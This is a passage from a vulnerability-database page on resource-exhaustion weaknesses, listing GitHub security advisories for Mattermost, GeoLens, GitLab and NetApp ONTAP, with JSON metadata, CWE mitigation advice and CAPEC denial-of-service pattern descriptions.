      "url": "https://access.redhat.com/errata/RHSA-2018:3432"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:3470"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2018-14660"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1635926"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14660"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/11/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201904-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P6XC-CW4F-5CMP

Vulnerability from github – Published: 2023-07-17 18:31 – Updated: 2024-04-04 06:11
VLAI
Details

Mattermost fails to properly validate a gif image file, allowing an attacker to consume a significant amount of server resources, making the server unresponsive for an extended period of time by linking to specially crafted image file.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-17T16:15:11Z",
    "severity": "LOW"
  },
  "details": "Mattermost fails to properly validate a gif image file, allowing an attacker to\u00a0consume a significant amount of server resources, making the server unresponsive for an extended period of time by\u00a0linking to specially crafted image file.\n\n",
  "id": "GHSA-p6xc-cw4f-5cmp",
  "modified": "2024-04-04T06:11:08Z",
  "published": "2023-07-17T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3614"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P77J-G7H5-R2VW

Vulnerability from github – Published: 2026-08-19 19:22 – Updated: 2026-08-19 19:23
VLAI
Summary
GeoLens's authorization and cache-scope flaws disclose private dataset data and metadata to unauthorized users (fixed in 1.2.4)
Details

GeoLens 1.2.4 fixes a set of vulnerabilities, the most serious of which allow authenticated or anonymous users to obtain data and metadata for datasets they are not authorized to access.

Impact

  • Private record metadata disclosure. Record contact, keyword, and distribution sub-resource endpoints did not re-authorize the backing dataset, so any authenticated user could read a private record's contact details (PII), keywords, and distributions. (Runtime-proven.)
  • Private tile data via shared caches. Private raster and vector tiles were served with shared-cache (Cache-Control: public) headers, so a shared cache (a CDN or the bundled reverse proxy) could retain private tile bytes and replay them to later unauthenticated requests, including unpublished public-dataset previews.
  • Private dataset title enumeration. The map visibility-check endpoint did not authorize read access to the map, allowing any editor to enumerate the titles of non-public datasets in any map by ID — including private maps owned by other users.
  • SSRF via DNS rebinding. URL validation for user-supplied service URLs (probes, STAC/OGC API sources, manifest downloads) resolved DNS once and then let the HTTP client re-resolve at connect time, allowing a low-TTL domain to pass validation as a public address and connect to an internal/metadata address.
  • Token leak + header injection in service preview. The remote-service preview path passed the authorization token to GDAL via the process environment without sanitization, leaking it through /proc/<pid>/environ and allowing CRLF header injection.
  • Unauthenticated STAC search DoS. POST /search did not cap the size of GeoJSON intersects geometries (the GET sibling did).
  • API key written to access logs. The bundled reverse proxy logged the api_key query-string credential in cleartext.
  • Security posture coupled to a logging flag. API documentation exposure and the Secure flag on the OAuth session cookie were keyed off the LOG_JSON logging flag rather than an explicit environment setting, so a production deployment at the default could expose /docs and emit a non-Secure session cookie.
  • Missing Content-Security-Policy (defense-in-depth). The web application shipped no script-src/default-src CSP, leaving no containment for token exfiltration if an XSS issue were introduced.
  • Weak default install credentials. The installer kept the published default database password and could silently retain the default admin password on a headless install.

Patches

Upgrade to GeoLens 1.2.4. No configuration changes are required for the authorization and cache fixes. Operators on a public, TLS-terminated deployment should additionally set ENVIRONMENT=production to make the production security posture explicit; deployments that do not set it retain their prior behavior.

Workarounds

None for the authorization/cache disclosure flaws — upgrading is required. The SSRF and STAC-DoS surfaces can be partially mitigated at the network/proxy layer (egress filtering to block link-local metadata addresses; a request-size limit on POST /search), but the code fix is the durable remedy.

References

  • Release: https://github.com/geolens-io/geolens/releases/tag/v1.2.4
  • Pull request: https://github.com/geolens-io/geolens/pull/243
  • Prior related advisory: GHSA-p23g-mvhj-jh3j
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "geolens"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1021",
      "CWE-1392",
      "CWE-200",
      "CWE-285",
      "CWE-400",
      "CWE-524",
      "CWE-532",
      "CWE-918",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-19T19:22:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "GeoLens 1.2.4 fixes a set of vulnerabilities, the most serious of which allow authenticated or anonymous users to obtain data and metadata for datasets they are not authorized to access.\n\n### Impact\n\n- **Private record metadata disclosure.** Record contact, keyword, and distribution sub-resource endpoints did not re-authorize the backing dataset, so any authenticated user could read a private record\u0027s contact details (PII), keywords, and distributions. (Runtime-proven.)\n- **Private tile data via shared caches.** Private raster and vector tiles were served with shared-cache (`Cache-Control: public`) headers, so a shared cache (a CDN or the bundled reverse proxy) could retain private tile bytes and replay them to later unauthenticated requests, including unpublished public-dataset previews.\n- **Private dataset title enumeration.** The map visibility-check endpoint did not authorize read access to the map, allowing any editor to enumerate the titles of non-public datasets in any map by ID \u2014 including private maps owned by other users.\n- **SSRF via DNS rebinding.** URL validation for user-supplied service URLs (probes, STAC/OGC API sources, manifest downloads) resolved DNS once and then let the HTTP client re-resolve at connect time, allowing a low-TTL domain to pass validation as a public address and connect to an internal/metadata address.\n- **Token leak + header injection in service preview.** The remote-service preview path passed the authorization token to GDAL via the process environment without sanitization, leaking it through `/proc/\u003cpid\u003e/environ` and allowing CRLF header injection.\n- **Unauthenticated STAC search DoS.** `POST /search` did not cap the size of GeoJSON `intersects` geometries (the `GET` sibling did).\n- **API key written to access logs.** The bundled reverse proxy logged the `api_key` query-string credential in cleartext.\n- **Security posture coupled to a logging flag.** API documentation exposure and the Secure flag on the OAuth session cookie were keyed off the `LOG_JSON` logging flag rather than an explicit environment setting, so a production deployment at the default could expose `/docs` and emit a non-Secure session cookie.\n- **Missing Content-Security-Policy (defense-in-depth).** The web application shipped no `script-src`/`default-src` CSP, leaving no containment for token exfiltration if an XSS issue were introduced.\n- **Weak default install credentials.** The installer kept the published default database password and could silently retain the default admin password on a headless install.\n\n### Patches\n\nUpgrade to **GeoLens 1.2.4**. No configuration changes are required for the authorization and cache fixes. Operators on a public, TLS-terminated deployment should additionally set `ENVIRONMENT=production` to make the production security posture explicit; deployments that do not set it retain their prior behavior.\n\n### Workarounds\n\nNone for the authorization/cache disclosure flaws \u2014 upgrading is required. The SSRF and STAC-DoS surfaces can be partially mitigated at the network/proxy layer (egress filtering to block link-local metadata addresses; a request-size limit on `POST /search`), but the code fix is the durable remedy.\n\n### References\n\n- Release: https://github.com/geolens-io/geolens/releases/tag/v1.2.4\n- Pull request: https://github.com/geolens-io/geolens/pull/243\n- Prior related advisory: GHSA-p23g-mvhj-jh3j",
  "id": "GHSA-p77j-g7h5-r2vw",
  "modified": "2026-08-19T19:23:00Z",
  "published": "2026-08-19T19:22:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geolens-io/geolens/security/advisories/GHSA-p77j-g7h5-r2vw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geolens-io/geolens/pull/243"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p23g-mvhj-jh3j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geolens-io/geolens"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geolens-io/geolens/releases/tag/v1.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "GeoLens\u0027s authorization and cache-scope flaws disclose private dataset data and metadata to unauthorized users (fixed in 1.2.4)"
}

GHSA-P7JP-3G8M-8M7M

Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2022-05-24 17:21
VLAI
Details

A security issue allowed achieving Denial of Service attacks through memory exhaustion by uploading malicious artifacts in all previous GitLab versions through 13.0.1

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-13274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-19T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A security issue allowed achieving Denial of Service attacks through memory exhaustion by uploading malicious artifacts in all previous GitLab versions through 13.0.1",
  "id": "GHSA-p7jp-3g8m-8m7m",
  "modified": "2022-05-24T17:21:19Z",
  "published": "2022-05-24T17:21:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13274"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-13274.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/14195"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P7PX-H3HV-HG2V

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-07-13 00:01
VLAI
Details

Clustered Data ONTAP versions 9.6 and higher prior to 9.6P16, 9.7P16, 9.8P7 and 9.9.1P3 are susceptible to a vulnerability which could allow a remote attacker to cause a crash of the httpd server.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-27005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Clustered Data ONTAP versions 9.6 and higher prior to 9.6P16, 9.7P16, 9.8P7 and 9.9.1P3 are susceptible to a vulnerability which could allow a remote attacker to cause a crash of the httpd server.",
  "id": "GHSA-p7px-h3hv-hg2v",
  "modified": "2022-07-13T00:01:12Z",
  "published": "2022-05-24T19:19:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27005"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/NTAP-20211029-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list